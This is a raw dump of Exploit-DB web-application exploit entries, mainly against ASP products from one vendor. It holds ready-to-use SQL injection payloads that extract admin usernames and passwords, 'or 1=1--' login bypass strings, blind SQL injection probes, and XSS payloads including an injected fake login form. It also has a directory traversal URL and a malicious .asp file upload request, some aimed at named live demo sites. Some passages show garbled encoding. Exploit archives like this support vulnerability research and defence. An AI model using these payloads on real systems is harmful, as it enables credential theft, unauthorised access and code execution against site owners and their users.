deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3549
Description: Active Trade 2 - 'catid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: CyberGhost

Exploit:
#Title  : Active Trade Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactivetrade
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=32

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23]
Exploit-DB #7282
Description: Active Trade 2 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Trade v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  Email: r0' or ' 1=1--

  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivetrade/account.asp


 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7281
Description: Active Web Mail 4 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Web Mail v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  Email: any mail

  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  www.activewebsoftwares.com/DemoActiveWebmail/login.aspx


 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7288
Description: Active Web Mail 4 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(emails.aspx TabOpenQuickTab1) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Web Mail v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:

  www.activewebsoftwares.com/DemoActiveWebmail/popaccounts.aspx?TabOpenQuickTab1={bL!ND}

 0R 

  www.activewebsoftwares.com/DemoActiveWebmail/addressbook.aspx?TabOpenQuickTab1={str0ke}

 oÑ

  www.activewebsoftwares.com/DemoActiveWebmail/emails.aspx?TabOpenQuickTab1=((Ñ3d D3v!L))
   
 [~] 8L!/\/D:
   
  7Ru3 : popaccounts.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: popaccounts.aspx?TabOpenQuickTab1=1 and 1=2
   
 0R
   
  7Ru3 : addressbook.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: addressbook.aspx?TabOpenQuickTab1=1 and 1=2
   
 0Ñ
   
  7Ru3 : emails.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: emails.aspx?TabOpenQuickTab1=1 and 1=2
   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7277
Description: Active Websurvey 9.1 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ã˜Â¨Ã˜Â³Ã™â€¦ Ã˜Â§Ã™â€žÃ™â€žÃ™â€¡ Ã˜Â§Ã™â€žÃ˜Â±Ã˜Â­Ã™â€¦Ã™â€  Ã˜Â§Ã™â€žÃ˜Â±Ã˜Â­Ã™Å Ã™â€¦------------------------------
Ã‚ [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
Ã‚  Ã‚ 
Ã‚ [~]Vendor: www.activewebsoftwares.com
Ã‚  Ã‚ 
Ã‚ [~]Software: Active Websurvey v 9.1
Ã‚  Ã‚ 
Ã‚ [~]author: ((Ã‘Â3d D3v!L))
Ã‚  Ã‚ 
Ã‚ [~] Date: 28.11.2008
Ã‚  Ã‚ 
Ã‚ [~] Home: www.ahacker.biz
Ã‚  Ã‚ 
Ã‚ [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
Ã‚  Ã‚ 
Ã‚  Ã‚ 
Ã‚ [~] Exploit:
Ã‚  Ã‚ 
Ã‚  username: r0' or ' 1=1--
Ã‚  password: r0' or ' 1=1--
Ã‚  Ã‚ 
Ã‚  Ã‚ 
Ã‚ [~]login 4 d3m0:
Ã‚  Ã‚ 
Ã‚  http://www.activewebsoftwares.com/demoactivewebsurvey/SurveyTaker.asp
Ã‚ 
Ã‚ [~]-----------------------------{str0ke}---------------------------------------------------
Ã‚ 
Ã‚  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
Ã‚  [~]
Ã‚  [~] spechial thanks : dolly & 7am3m & Ã˜Â¹Ã™â€¦Ã˜Â§Ã˜Â¯ ,Ã˜Â§Ã™â€žÃ˜Â²Ã™â€¡Ã™Å Ã˜Â±Ã™Å 
Ã‚  [~]
Ã‚  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
Ã‚  [~]
Ã‚  [~] xp10.biz & ahacker.biz
Ã‚  [~]
Ã‚ 
Ã‚ [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #10167
Description: ActiveBids - 'default.asp' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-11-17
Author: Hussin X

Exploit:
ActiveBids (default.asp) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : hussin.x@gmail.com
____________________________________

Vendor : http://www.activewebsoftwares.com
Demo :
_______

http://server/default.asp?catid=39+and+1=1 ( true )

http://server/default.asp?catid=39+and+1=0 ( false )

:: test ::

http://server/default.asp?catid=39+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+mysql.user

Greetz :
WwW.IQ-ty.CoM

| CraCkEr | Cyber-Zone | str0ke | jiko
Exploit-DB #10526
Description: ActiveBuyandSell 6.2 - 'buyersend.asp?catid' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (buyersend.asp catid) Blind SQL Injection Vulnerability
[~] Vendor: :www.activewebsoftwares.com
[*] Software: ActiveBuyandSell v 6.2
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/demoactivebuyandsell/buyersend.asp?catid={offsec}



[*]{offsec}

7Ru3 : buyersend.asp?catid=1 and 1=1


f4L53: buyersend.asp?catid=1 and 1=2


N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #3550
Description: ActiveBuyandSell 6.2 - 'buyersend.asp?catid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: CyberGhost

Exploit:
#Title  : Active BuyandSell Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactivebuyandsell
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=8

#Vuln.

#Username : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,adminname,8,9,0,1,2,3,4,5,6+from+admins
#Password : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,password,8,9,0,1,2,3,4,5,6+from+admins

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23]
Exploit-DB #34397
Description: Activedition - '/activedition/aelogin.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2009-09-25
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/42164/info

Activedition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Activedition 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activedition/aelogin.asp?status=Fail&noreset=True&workflow='"<script><img src="x" onerror='alert(document.cookie)'&liststatus=&area=&pageid=

http://www.example.com/activedition/aelogin.asp?status=Fail&noreset=True&workflow='"<script><img src="http://www.example.com/images/logo_procheckup.gif&liststatus=&area=&pageid=

http://www.example.com/activedition/aelogin.asp?status=Fail&noreset=True&workflow='"<script><iframe%20src="http://www.example.com" width="600%" height="300%"&liststatus=&area=&pageid=

http://www.example.com/activedition/aelogin.asp?status=&noreset=False&workflow=&liststatus=&area=&pageid='"<script><b>User Name<b><BR><input name="user"><BR><b>Password<b><BR><input type = "password" name="pass"><button onClick="">Log in</button
Exploit-DB #29086
Description: ActiveNews Manager - 'articleId' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21167/info

Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/activenews_view.asp?articleID=[SQL INJECTION]
Exploit-DB #29090
Description: ActiveNews Manager - 'articleId' SQL Injection (2)
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21167/info
    
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
http://www.example.com/path/activeNews_comments.asp?articleID=[SQL INJECTION]
Exploit-DB #29087
Description: ActiveNews Manager - 'page' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21167/info
 
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path/default.asp?page=[SQL INJECTION]
Exploit-DB #29088
Description: ActiveNews Manager - 'query' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21167/info
  
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/path/activenews_search.asp?query=[XSS]
Exploit-DB #10166
Description: ActiveTrade 2.0 - 'default.asp' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-11-17
Author: Hussin X

Exploit:
Active Trade 2.0(default.asp) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : hussin.x@gmail.com

____________________________________

Vendor : http://www.activewebsoftwares.com

Demo :
_______

http://server/default.asp?catid=39+and+1=1 ( true )

http://server/default.asp?catid=39+and+1=0 ( false )


Greetz :
WwW.IQ-ty.CoM

| CraCkEr | Cyber-Zone | str0ke | kadmiwe | jiko
Exploit-DB #7287
Description: ActiveVotes 2.2 - 'AccountID' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(VoteHistory.asp AccountID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: ActiveVotes v 2.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
 [~]3xpL0!7 4 d3m0:
   
  www.activewebsoftwares.com/demoactivevotes/VoteHistory.asp?AccountID={bL!ND}
   
 [~] 8L!/\/D:
   
  7Ru3 : VoteHistory.asp?AccountID= 1 and 1=1

  f4L53: VoteHistory.asp?AccountID= 1 and 1=2
   
   
 
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7275
Description: ActiveVotes 2.2 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: ActiveVotes v 2.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivevotes/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------


# milw0rm.com [2008-11-29]
Exploit-DB #30296
Description: ActiveWeb Contentserver 5.6.2929 - 'Picture_Real_Edit.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-13
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/24894/info

activeWeb contentserver is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Reports indicate that contentserver versions prior to 5.6.2964 are vulnerable to this issue. 

https://www.example.com/admin/picture/picture_real_edit.asp?id='%20union%20select%20@@version%20,@@microsoftversion,@@version--
Exploit-DB #37223
Description: Acuity CMS 2.6.2 - '/admin/file_manager/browse.asp?path' Traversal Arbitrary File Access
Type: webapps
Platform: asp
Date: 2012-05-21
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/53616/info
 
Acuity CMS is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.
 
An attacker can exploit these issues to obtain sensitive information, to upload arbitrary code, and run it in the context of the webserver process.
 
Acuity CMS 2.6.2 is vulnerable; prior versions may also be affected. 


http://www.example.com/admin/file_manager/browse.asp?field=&form=&path=../../
Exploit-DB #37222
Description: Acuity CMS 2.6.2 - '/admin/file_manager/file_upload_submit.asp' Multiple Arbitrary File Upload / Code Executions
Type: webapps
Platform: asp
Date: 2012-05-21
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/53616/info

Acuity CMS is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to obtain sensitive information, to upload arbitrary code, and run it in the context of the webserver process.

Acuity CMS 2.6.2 is vulnerable; prior versions may also be affected. 

[REQUEST]
POST /admin/file_manager/file_upload_submit.asp HTTP/1.1
Host: localhost
Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX

-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="path"

/images
-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="rootpath"

/
-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="rootdisplay"

http://localhost/
-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="status"

confirmed
-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="action"

fileUpload
-----------------------------6dc3a236402e2
Content-Disposition: form-data; name="file1"; filename="0wned.asp"
Content-Type: application/octet-stream

<% response.write("0wned!") %>

-----------------------------6dc3a236402e2--
Exploit-DB #13885
Description: Acuity CMS 2.7.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Acuity CMS SQl Vulnerable
Vendor url:http://www.acuitycms.com
Version:2.7.1
Price:100$
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:-

Acuity CMS is an affordable, very easy to use CMS offering a rich set of
features despite its low price point. Advanced WYSIWYG editing (using Acuity
Visual Editor), code cleaning, menu management, integrated search, and more.
Free online demo available. Code: ASP 3.0 & VBScript

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/article.asp?page=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #7424
Description: Ad Management Java - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-11
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.adserversolutions.com
   
 [~]Software: Ad Management Java 
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {R0}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [~] Exploit:
   
 [~] username: r0' or ' 1=1--
 [~] password: r0' or ' 1=1--
   
   
 [â˜ ] login 4 d3m0:
   
  www.adserversolutions.com/admgmt_460/logon.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11]